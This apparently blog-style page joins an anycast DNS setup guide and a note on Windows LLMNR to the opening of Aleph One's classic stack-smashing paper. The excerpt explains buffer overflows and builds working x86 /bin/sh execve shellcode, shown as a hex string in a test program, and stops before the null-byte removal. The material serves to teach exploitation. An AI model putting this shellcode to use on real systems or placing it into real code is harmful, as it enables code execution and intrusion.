Anycast DNS

Anycast is one source that can “talk” to a service that is advertised or hosted on multiple nodes configured with the same IP Address.  Layer 3 routing will route the packets to the “nearest” target based upon topology.

The basic requirements for Anycast DNS

The following list is a basic set of requirements and recommendations for supporting Anycast DNS:

  • Injection of Anycast IP address(es) into the routed network – This can be accomplished using either static routes or using routing protocols such as RIP, OSPF, or BGP.
  • Host-based routing software that supports one of the major routing protocols such as Quagga Routing Software
  • Clients should be configured to resolve DNS queries via the Anycast address(es)
  • Nameservers should listen to DNS requests on the Anycast IP addresses
  • Nameservers should be configured with at least one Anycast IP address on a loopback interface. Additionally, the server should be configured with a management IP which can be either a physical or an additional loopback interface.
  • At least one physical IP must be defined for the exchange of routing information, as well as, system access and maintenance in the absence of the routes to the Anycast IP address(es).
  • Nameservers should be configured to use the physical or management IP addresses for zone-transfers, zone updates, and/or query-source because replies might go to a different server than intended.

Step 1 – Create virtual interfaces with Anycast Address

Create a loopback interface for our Anycast virtual interface. In the following example, a virtual interface, lo:0 is added to the existing loopback interface, lo. It is configured with the Anycast DNS address 192.168.0.1 with a mask of 255.255.255.255.

Server A:

[root@A~]# ifconfig lo:0 192.168.0.1 netmask 255.255.255.255 up
 
[root@A ~]# ifconfig -a
eth0      Link encap:Ethernet  HWaddr 00:30:48:80:AF:9B
          inet addr:10.0.1.10  Bcast:10.0.1.255  Mask:255.255.255.0
inet6 addr: fe80::230:48ff:fe80:af9b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:33 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:248 (248.0 b)  TX bytes:7307 (7.1 KiB)
 
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:10 errors:0 dropped:0 overruns:0 frame:0
          TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
          RX bytes:716 (716.0 b)  TX bytes:716 (716.0 b)
 
lo:0      Link encap:Local Loopback
          inet addr:192.168.0.1  Mask:255.255.255.255
UP LOOPBACK RUNNING  MTU:16436  Metric:1

Repeat this step for server B.

Step 2 – Configure upstream router with static route and redistribute route into the network

Configure the upstream router from Server A, R1 with the static route and redistribute that route into the network. NOTE: in this case our IGP is RIP. This is shown below:

R1# configure terminal
Enter configuration commands, one per line. End with CNTL/Z.
R1(config)# ip route 192.168.0.1 255.255.255.255 10.0.1.10
R1(config)# router rip
R1(config-router)# redistribute static
R1(config-router)# end
R1#

Repeat this same configuration for Server B’s upstream router R2. The command to add the static route will differ only in the gateway address that is used, 10.0.2.10 instead. Everything else is the same.

Step 3 – Configure the name server

Configure the name service as a caching only server that binds port 53 to the Anycast IP of 192.168.0.1 and no other address. Additionally, it’s recommended that the server-id and hostname directives be configured and used for management purposes. We’ll dive into this later. These changes are made by editing the named.conf. The following is an example of the configuration used:

//
// named.conf for Server A
//
options {
        version "none of your business";
        server-id "A";
        listen-on port 53 { 192.168.0.1;};
        directory       "/var/named";
        allow-query     { any; };
        recursion yes;
hostname "A";
};
logging {
channel my_syslog {
      syslog daemon;
      severity info;
   };
   channel named_log {
      file "logs/named.log" versions 5 size 1m;
      severity info;
      print-category yes;
      print-severity yes;
      print-time yes;
   };
   channel query_log {
      file "logs/query.log" versions 5 size 1m;
      severity info;
      print-category yes;
      print-severity yes;
      print-time yes;
   };
   category default { named_log; };
category xfer-out { my_syslog; named_log; };
   category queries { query_log; };
};
zone "." IN {
        type hint;
        file "named.ca";
};

Repeat this step for Server B. The configuration is the same with the exception of the server-id and hostname directives. Once this step is complete, restart both name servers. Everything should be complete. Depending on the size of the network, it may take a bit for the routes to show up, but once they have propagated, you have Anycast DNS set up!

So, How do I test this?

The first step would be to ensure that the Anycast DNS Virtual IP or VIP is being routed. By checking on some downstream routers or core routers on the network, you should see specific host routes for 192.168.0.1/32. One route will refer to 10.0.1.10 as the gateway address, and the other will refer to 10.0.2.10 as the gateway.

Windows: LLMNR and multicast group 224.0.0.252

Local Link Multicast Name Resolution (LLMNR) is a secondary name resolution protocol. Queries are sent over the Local Link, a single subnet, from a client machine using Multicast to which another client on the same link, which also has LLMNR enabled, can respond. LLMNR provides name resolution in scenarios in which
conventional DNS name resolution is not possible.

In responding to queries, responders listen on UDP port 5355 on the following link-scope Multicast address:

  • IPv4 – 224.0.0.252, MAC address of 01-00-5E-00-00-FC
  • IPv6 – FF02:0:0:0:0:0:1:3 (this notation can be abbreviated as FF02::1:3), MAC address of 33-33-00-01-00-03

The responders also listen on TCP port 5355 on the unicast address that the host uses to respond to queries.

 

Smashing The Stack For Fun And Profit

Volume Seven, Issue Forty-Nine

File 14 of 16

BugTraq, r00t, and Underground.Org
bring you

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

by Aleph One
aleph1@underground.org

`smash the stack` [C programming] n. On many C implementations
it is possible to corrupt the execution stack by writing past
the end of an array declared auto in a routine.  Code that does
this is said to smash the stack, and can cause return from the
routine to jump to a random address.  This can produce some of
the most insidious data-dependent bugs known to mankind.
Variants include trash the stack, scribble the stack, mangle
the stack; the term mung the stack is not used, as this is
never done intentionally. See spam; see also alias bug,
fandango on core, memory leak, precedence lossage, overrun screw.

Introduction
~~~~~~~~~~~~

Over the last few months there has been a large increase of buffer
overflow vulnerabilities being both discovered and exploited.  Examples
of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt
library, at, etc.  This paper attempts to explain what buffer overflows
are, and how their exploits work.

Basic knowledge of assembly is required.  An understanding of virtual
memory concepts, and experience with gdb are very helpful but not necessary.
We also assume we are working with an Intel x86 CPU, and that the operating
system is Linux.

Some basic definitions before we begin: A buffer is simply a contiguous
block of computer memory that holds multiple instances of the same data
type.  C programmers normally associate with the word buffer arrays. Most
commonly, character arrays.  Arrays, like all variables in C, can be
declared either static or dynamic.  Static variables are allocated at load
time on the data segment.  Dynamic variables are allocated at run time on
the stack. To overflow is to flow, or fill over the top, brims, or bounds.
We will concern ourselves only with the overflow of dynamic buffers, otherwise
known as stack-based buffer overflows.

Process Memory Organization
~~~~~~~~~~~~~~~~~~~~~~~~~~~

To understand what stack buffers are we must first understand how a
process is organized in memory.  Processes are divided into three regions:
Text, Data, and Stack.  We will concentrate on the stack region, but first
a small overview of the other regions is in order.

The text region is fixed by the program and includes code (instructions)
and read-only data.  This region corresponds to the text section of the
executable file.  This region is normally marked read-only and any attempt to
write to it will result in a segmentation violation.

The data region contains initialized and uninitialized data.  Static
variables are stored in this region.  The data region corresponds to the
data-bss sections of the executable file.  Its size can be changed with the
brk(2) system call.  If the expansion of the bss data or the user stack
exhausts available memory, the process is blocked and is rescheduled to
run again with a larger memory space. New memory is added between the data
and stack segments.

/——————\  lower
|                  |  memory
|       Text       |  addresses
|                  |
|——————|
|   (Initialized)  |
|        Data      |
|  (Uninitialized) |
|——————|
|                  |
|       Stack      |  higher
|                  |  memory
\——————/  addresses

Fig. 1 Process Memory Regions

What Is A Stack?
~~~~~~~~~~~~~~~~

A stack is an abstract data type frequently used in computer science.  A
stack of objects has the property that the last object placed on the stack
will be the first object removed.  This property is commonly referred to as
last in, first out queue, or a LIFO.

Several operations are defined on stacks.  Two of the most important are
PUSH and POP.  PUSH adds an element at the top of the stack.  POP, in
contrast, reduces the stack size by one by removing the last element at the
top of the stack.

Why Do We Use A Stack?
~~~~~~~~~~~~~~~~~~~~~~

Modern computers are designed with the need of high-level languages in
mind.  The most important technique for structuring programs introduced by
high-level languages is the procedure or function.  From one point of view, a
procedure call alters the flow of control just as a jump does, but unlike a
jump, when finished performing its task, a function returns control to the
statement or instruction following the call.  This high-level abstraction
is implemented with the help of the stack.

The stack is also used to dynamically allocate the local variables used in
functions, to pass parameters to the functions, and to return values from the
function.

The Stack Region
~~~~~~~~~~~~~~~~

A stack is a contiguous block of memory containing data.  A register called
the stack pointer (SP) points to the top of the stack.  The bottom of the
stack is at a fixed address.  Its size is dynamically adjusted by the kernel
at run time. The CPU implements instructions to PUSH onto and POP off of the
stack.

The stack consists of logical stack frames that are pushed when calling a
function and popped when returning.  A stack frame contains the parameters to
a function, its local variables, and the data necessary to recover the
previous stack frame, including the value of the instruction pointer at the
time of the function call.

Depending on the implementation the stack will either grow down (towards
lower memory addresses), or up.  In our examples we’ll use a stack that grows
down.  This is the way the stack grows on many computers including the Intel,
Motorola, SPARC and MIPS processors.  The stack pointer (SP) is also
implementation dependent.  It may point to the last address on the stack, or
to the next free available address after the stack.  For our discussion we’ll
assume it points to the last address on the stack.

In addition to the stack pointer, which points to the top of the stack
(lowest numerical address), it is often convenient to have a frame pointer
(FP) which points to a fixed location within a frame.  Some texts also refer
to it as a local base pointer (LB).  In principle, local variables could be
referenced by giving their offsets from SP.  However, as words are pushed onto
the stack and popped from the stack, these offsets change.  Although in some
cases the compiler can keep track of the number of words on the stack and
thus correct the offsets, in some cases it cannot, and in all cases
considerable administration is required.  Futhermore, on some machines, such
as Intel-based processors, accessing a variable at a known distance from SP
requires multiple instructions.

Consequently, many compilers use a second register, FP, for referencing
both local variables and parameters because their distances from FP do
not change with PUSHes and POPs.  On Intel CPUs, BP (EBP) is used for this
purpose.  On the Motorola CPUs, any address register except A7 (the stack
pointer) will do.  Because the way our stack grows, actual parameters have
positive offsets and local variables have negative offsets from FP.

The first thing a procedure must do when called is save the previous FP
(so it can be restored at procedure exit).  Then it copies SP into FP to
create the new FP, and advances SP to reserve space for the local variables.
This code is called the procedure prolog.  Upon procedure exit, the stack
must be cleaned up again, something called the procedure epilog.  The Intel
ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions,
have been provided to do most of the procedure prolog and epilog work
efficiently.

Let us see what the stack looks like in a simple example:

example1.c:
——————————————————————————
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}

void main() {
function(1,2,3);
}
——————————————————————————

To understand what the program does to call function() we compile it with
gcc using the -S switch to generate assembly code output:

$ gcc -S -o example1.s example1.c

By looking at the assembly language output we see that the call to
function() is translated to:

pushl $3
pushl $2
pushl $1
call function

This pushes the 3 arguments to function backwards into the stack, and
calls function().  The instruction ‘call’ will push the instruction pointer
(IP) onto the stack.  We’ll call the saved IP the return address (RET).  The
first thing done in function is the procedure prolog:

pushl %ebp
movl %esp,%ebp
subl $20,%esp

This pushes EBP, the frame pointer, onto the stack.  It then copies the
current SP onto EBP, making it the new FP pointer.  We’ll call the saved FP
pointer SFP.  It then allocates space for the local variables by subtracting
their size from SP.

We must remember that memory can only be addressed in multiples of the
word size.  A word in our case is 4 bytes, or 32 bits.  So our 5 byte buffer
is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer
is going to take 12 bytes (3 words) of memory.  That is why SP is being
subtracted by 20.  With that in mind our stack looks like this when
function() is called (each space represents a byte):

bottom of                                                            top of
memory                                                               memory
buffer2       buffer1   sfp   ret   a     b     c
<——   [            ][        ][    ][    ][    ][    ][    ]

top of                                                            bottom of
stack                                                                 stack

Buffer Overflows
~~~~~~~~~~~~~~~~

A buffer overflow is the result of stuffing more data into a buffer than
it can handle.  How can this often found programming error can be taken
advantage to execute arbitrary code?  Lets look at another example:

example2.c
——————————————————————————
void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}

void main() {
char large_string[256];
int i;

for( i = 0; i < 255; i++)
large_string[i] = ‘A';

function(large_string);
}
——————————————————————————

This is program has a function with a typical buffer overflow coding
error.  The function copies a supplied string without bounds checking by
using strcpy() instead of strncpy().  If you run this program you will get a
segmentation violation.  Lets see what its stack looks when we call function:

bottom of                                                            top of
memory                                                               memory
buffer            sfp   ret   *str
<——          [                ][    ][    ][    ]

top of                                                            bottom of
stack                                                                 stack

What is going on here?  Why do we get a segmentation violation?  Simple.
strcpy() is coping the contents of *str (larger_string[]) into buffer[]
until a null character is found on the string.  As we can see buffer[] is
much smaller than *str.  buffer[] is 16 bytes long, and we are trying to stuff
it with 256 bytes.  This means that all 250 bytes after buffer in the stack
are being overwritten.  This includes the SFP, RET, and even *str!  We had
filled large_string with the character ‘A’.  It’s hex character value
is 0x41.  That means that the return address is now 0x41414141.  This is
outside of the process address space.  That is why when the function returns
and tries to read the next instruction from that address you get a
segmentation violation.

So a buffer overflow allows us to change the return address of a function.
In this way we can change the flow of execution of the program.  Lets go back
to our first example and recall what the stack looked like:

bottom of                                                            top of
memory                                                               memory
buffer2       buffer1   sfp   ret   a     b     c
<——   [            ][        ][    ][    ][    ][    ][    ]

top of                                                            bottom of
stack                                                                 stack

Lets try to modify our first example so that it overwrites the return
address, and demonstrate how we can make it execute arbitrary code.  Just
before buffer1[] on the stack is SFP, and before it, the return address.
That is 4 bytes pass the end of buffer1[].  But remember that buffer1[] is
really 2 word so its 8 bytes long.  So the return address is 12 bytes from
the start of buffer1[].  We’ll modify the return value in such a way that the
assignment statement ‘x = 1;’ after the function call will be jumped.  To do
so we add 8 bytes to the return address.  Our code is now:

example3.c:
——————————————————————————
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;

ret = buffer1 + 12;
(*ret) += 8;
}

void main() {
int x;

x = 0;
function(1,2,3);
x = 1;
printf(“%d\n”,x);
}
——————————————————————————

What we have done is add 12 to buffer1[]’s address.  This new address is
where the return address is stored.  We want to skip pass the assignment to
the printf call.  How did we know to add 8 to the return address?  We used a
test value first (for example 1), compiled the program, and then started gdb:

——————————————————————————
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type “show copying” to see the conditions.
There is absolutely no warranty for GDB; type “show warranty” for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc…
(no debugging symbols found)…
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>:       pushl  %ebp
0x8000491 <main+1>:     movl   %esp,%ebp
0x8000493 <main+3>:     subl   $0x4,%esp
0x8000496 <main+6>:     movl   $0x0,0xfffffffc(%ebp)
0x800049d <main+13>:    pushl  $0x3
0x800049f <main+15>:    pushl  $0x2
0x80004a1 <main+17>:    pushl  $0x1
0x80004a3 <main+19>:    call   0x8000470 <function>
0x80004a8 <main+24>:    addl   $0xc,%esp
0x80004ab <main+27>:    movl   $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>:    movl   0xfffffffc(%ebp),%eax
0x80004b5 <main+37>:    pushl  %eax
0x80004b6 <main+38>:    pushl  $0x80004f8
0x80004bb <main+43>:    call   0x8000378 <printf>
0x80004c0 <main+48>:    addl   $0x8,%esp
0x80004c3 <main+51>:    movl   %ebp,%esp
0x80004c5 <main+53>:    popl   %ebp
0x80004c6 <main+54>:    ret
0x80004c7 <main+55>:    nop
——————————————————————————

We can see that when calling function() the RET will be 0x8004a8, and we
want to jump past the assignment at 0x80004ab.  The next instruction we want
to execute is the at 0x8004b2.  A little math tells us the distance is 8
bytes.

Shell Code
~~~~~~~~~~

So now that we know that we can modify the return address and the flow of
execution, what program do we want to execute?  In most cases we’ll simply
want the program to spawn a shell.  From the shell we can then issue other
commands as we wish.  But what if there is no such code in the program we
are trying to exploit?  How can we place arbitrary instruction into its
address space?  The answer is to place the code with are trying to execute in
the buffer we are overflowing, and overwrite the return address so it points
back into the buffer.  Assuming the stack starts at address 0xFF, and that S
stands for the code we want to execute the stack would then look like this:

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
buffer                sfp   ret   a     b     c

<——   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^                            |
|____________________________|
top of                                                            bottom of
stack                                                                 stack

The code to spawn a shell in C looks like:

shellcode.c
—————————————————————————–
#include <stdio.h>

void main() {
char *name[2];

name[0] = “/bin/sh”;
name[1] = NULL;
execve(name[0], name, NULL);
}
——————————————————————————

To find out what does it looks like in assembly we compile it, and start
up gdb.  Remember to use the -static flag. Otherwise the actual code the
for the execve system call will not be included.  Instead there will be a
reference to dynamic C library that would normally would be linked in at
load time.

——————————————————————————
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type “show copying” to see the conditions.
There is absolutely no warranty for GDB; type “show warranty” for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc…
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <__execve+18>:        int    $0x80
0x80002d0 <__execve+20>:        movl   %eax,%edx
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.
——————————————————————————

Lets try to understand what is going on here. We’ll start by studying main:

——————————————————————————
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp

This is the procedure prelude.  It first saves the old frame pointer,
makes the current stack pointer the new frame pointer, and leaves
space for the local variables. In this case its:

char *name[2];

or 2 pointers to a char. Pointers are a word long, so it leaves
space for two words (8 bytes).

0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)

We copy the value 0x80027b8 (the address of the string “/bin/sh”)
into the first pointer of name[]. This is equivalent to:

name[0] = “/bin/sh”;

0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)

We copy the value 0x0 (NULL) into the seconds pointer of name[].
This is equivalent to:

name[1] = NULL;

The actual call to execve() starts here.

0x8000144 <main+20>:    pushl  $0x0

We push the arguments to execve() in reverse order onto the stack.
We start with NULL.

0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax

We load the address of name[] into the EAX register.

0x8000149 <main+25>:    pushl  %eax

We push the address of name[] onto the stack.

0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax

We load the address of the string “/bin/sh” into the EAX register.

0x800014d <main+29>:    pushl  %eax

We push the address of the string “/bin/sh” onto the stack.

0x800014e <main+30>:    call   0x80002bc <__execve>

Call the library procedure execve().  The call instruction pushes the
IP onto the stack.
——————————————————————————

Now execve().  Keep in mind we are using a Intel based Linux system.  The
syscall details will change from OS to OS, and from CPU to CPU.  Some will
pass the arguments on the stack, others on the registers.  Some use a software
interrupt to jump to kernel mode, others use a far call.  Linux passes its
arguments to the system call on the registers, and uses a software interrupt
to jump into kernel mode.

——————————————————————————
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx

The procedure prelude.

0x80002c0 <__execve+4>: movl   $0xb,%eax

Copy 0xb (11 decimal) onto the stack. This is the index into the
syscall table.  11 is execve.

0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx

Copy the address of “/bin/sh” into EBX.

0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx

Copy the address of name[] into ECX.

0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx

Copy the address of the null pointer into %edx.

0x80002ce <__execve+18>:        int    $0x80

Change into kernel mode.
——————————————————————————

So as we can see there is not much to the execve() system call.  All we need
to do is:

a) Have the null terminated string “/bin/sh” somewhere in memory.
b) Have the address of the string “/bin/sh” somewhere in memory
followed by a null long word.
c) Copy 0xb into the EAX register.
d) Copy the address of the address of the string “/bin/sh” into the
EBX register.
e) Copy the address of the string “/bin/sh” into the ECX register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0x80 instruction.

But what if the execve() call fails for some reason?  The program will
continue fetching instructions from the stack, which may contain random data!
The program will most likely core dump.  We want the program to exit cleanly
if the execve syscall fails.  To accomplish this we must then add a exit
syscall after the execve syscall.  What does the exit syscall looks like?

exit.c
——————————————————————————
#include <stdlib.h>

void main() {
exit(0);
}
——————————————————————————

——————————————————————————
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type “show copying” to see the conditions.
There is absolutely no warranty for GDB; type “show warranty” for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc…
(no debugging symbols found)…
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp
0x800034f <_exit+3>:    pushl  %ebx
0x8000350 <_exit+4>:    movl   $0x1,%eax
0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int    $0x80
0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl   %ebp,%esp
0x800035f <_exit+19>:   popl   %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.
——————————————————————————

The exit syscall will place 0x1 in EAX, place the exit code in EBX,
and execute “int 0x80″.  That’s it.  Most applications return 0 on exit to
indicate no errors.  We will place 0 in EBX.  Our list of steps is now:

a) Have the null terminated string “/bin/sh” somewhere in memory.
b) Have the address of the string “/bin/sh” somewhere in memory
followed by a null long word.
c) Copy 0xb into the EAX register.
d) Copy the address of the address of the string “/bin/sh” into the
EBX register.
e) Copy the address of the string “/bin/sh” into the ECX register.
f) Copy the address of the null long word into the EDX register.
g) Execute the int $0x80 instruction.
h) Copy 0x1 into the EAX register.
i) Copy 0x0 into the EBX register.
j) Execute the int $0x80 instruction.

Trying to put this together in assembly language, placing the string
after the code, and remembering we will place the address of the string,
and null word after the array, we have:

——————————————————————————
movl   string_addr,string_addr_addr
movb   $0x0,null_byte_addr
movl   $0x0,null_addr
movl   $0xb,%eax
movl   string_addr,%ebx
leal   string_addr,%ecx
leal   null_string,%edx
int    $0x80
movl   $0x1, %eax
movl   $0x0, %ebx
int    $0x80
/bin/sh string goes here.
——————————————————————————

The problem is that we don’t know where in the memory space of the
program we are trying to exploit the code (and the string that follows
it) will be placed.  One way around it is to use a JMP, and a CALL
instruction.  The JMP and CALL instructions can use IP relative addressing,
which means we can jump to an offset from the current IP without needing
to know the exact address of where in memory we want to jump to.  If we
place a CALL instruction right before the “/bin/sh” string, and a JMP
instruction to it, the strings address will be pushed onto the stack as
the return address when CALL is executed.  All we need then is to copy the
return address into a register.  The CALL instruction can simply call the
start of our code above.  Assuming now that J stands for the JMP instruction,
C for the CALL instruction, and s for the string,  the execution flow would
now be:

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
buffer                sfp   ret   a     b     c

<——   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^             ^|            |
|||_____________||____________| (1)
(2)  ||_____________||
|______________| (3)
top of                                                            bottom of
stack                                                                 stack

With this modifications, using indexed addressing, and writing down how
many bytes each instruction takes our code looks like:

——————————————————————————
jmp    offset-to-call           # 2 bytes
popl   %esi                     # 1 byte
movl   %esi,array-offset(%esi)  # 3 bytes
movb   $0x0,nullbyteoffset(%esi)# 4 bytes
movl   $0x0,null-offset(%esi)   # 7 bytes
movl   $0xb,%eax                # 5 bytes
movl   %esi,%ebx                # 2 bytes
leal   array-offset,(%esi),%ecx # 3 bytes
leal   null-offset(%esi),%edx   # 3 bytes
int    $0x80                    # 2 bytes
movl   $0x1, %eax # 5 bytes
movl   $0x0, %ebx # 5 bytes
int    $0x80 # 2 bytes
call   offset-to-popl           # 5 bytes
/bin/sh string goes here.
——————————————————————————

Calculating the offsets from jmp to call, from call to popl, from
the string address to the array, and from the string address to the null
long word, we now have:

——————————————————————————
jmp    0x26                     # 2 bytes
popl   %esi                     # 1 byte
movl   %esi,0x8(%esi)           # 3 bytes
movb   $0x0,0x7(%esi) # 4 bytes
movl   $0x0,0xc(%esi)           # 7 bytes
movl   $0xb,%eax                # 5 bytes
movl   %esi,%ebx                # 2 bytes
leal   0x8(%esi),%ecx           # 3 bytes
leal   0xc(%esi),%edx           # 3 bytes
int    $0x80                    # 2 bytes
movl   $0x1, %eax # 5 bytes
movl   $0x0, %ebx # 5 bytes
int    $0x80 # 2 bytes
call   -0x2b                    # 5 bytes
.string \”/bin/sh\” # 8 bytes
——————————————————————————

Looks good. To make sure it works correctly we must compile it and run it.
But there is a problem.  Our code modifies itself, but most operating system
mark code pages read-only.  To get around this restriction we must place the
code we wish to execute in the stack or data segment, and transfer control
to it.  To do so we will place our code in a global array in the data
segment.  We need first a hex representation of the binary code. Lets
compile it first, and then use gdb to obtain it.

shellcodeasm.c
——————————————————————————
void main() {
__asm__(”
jmp    0x2a                     # 3 bytes
popl   %esi                     # 1 byte
movl   %esi,0x8(%esi)           # 3 bytes
movb   $0x0,0x7(%esi)           # 4 bytes
movl   $0x0,0xc(%esi)           # 7 bytes
movl   $0xb,%eax                # 5 bytes
movl   %esi,%ebx                # 2 bytes
leal   0x8(%esi),%ecx           # 3 bytes
leal   0xc(%esi),%edx           # 3 bytes
int    $0x80                    # 2 bytes
movl   $0x1, %eax               # 5 bytes
movl   $0x0, %ebx               # 5 bytes
int    $0x80                    # 2 bytes
call   -0x2f                    # 5 bytes
.string \”/bin/sh\”             # 8 bytes
“);
}
——————————————————————————

——————————————————————————
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type “show copying” to see the conditions.
There is absolutely no warranty for GDB; type “show warranty” for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc…
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     jmp    0x800015f <main+47>
0x8000135 <main+5>:     popl   %esi
0x8000136 <main+6>:     movl   %esi,0x8(%esi)
0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
0x800013d <main+13>:    movl   $0x0,0xc(%esi)
0x8000144 <main+20>:    movl   $0xb,%eax
0x8000149 <main+25>:    movl   %esi,%ebx
0x800014b <main+27>:    leal   0x8(%esi),%ecx
0x800014e <main+30>:    leal   0xc(%esi),%edx
0x8000151 <main+33>:    int    $0x80
0x8000153 <main+35>:    movl   $0x1,%eax
0x8000158 <main+40>:    movl   $0x0,%ebx
0x800015d <main+45>:    int    $0x80
0x800015f <main+47>:    call   0x8000135 <main+5>
0x8000164 <main+52>:    das
0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:    das
0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>:     0xeb
(gdb)
0x8000134 <main+4>:     0x2a
(gdb)
.
.
.
——————————————————————————

testsc.c
——————————————————————————
char shellcode[] =
“\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00″
“\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80″
“\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff”
“\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3″;

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
——————————————————————————
——————————————————————————
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
——————————————————————————

It works! But there is an obstacle.  In most cases we’ll be trying to
overflow a character buffer.  As such any null bytes in our shellcode will be
considered the end of the string, and the copy will be terminated.  There must
be no null bytes in the shellcode for the exploit to work.  Let’s try to
eliminate the bytes (and at the same time make it smaller).

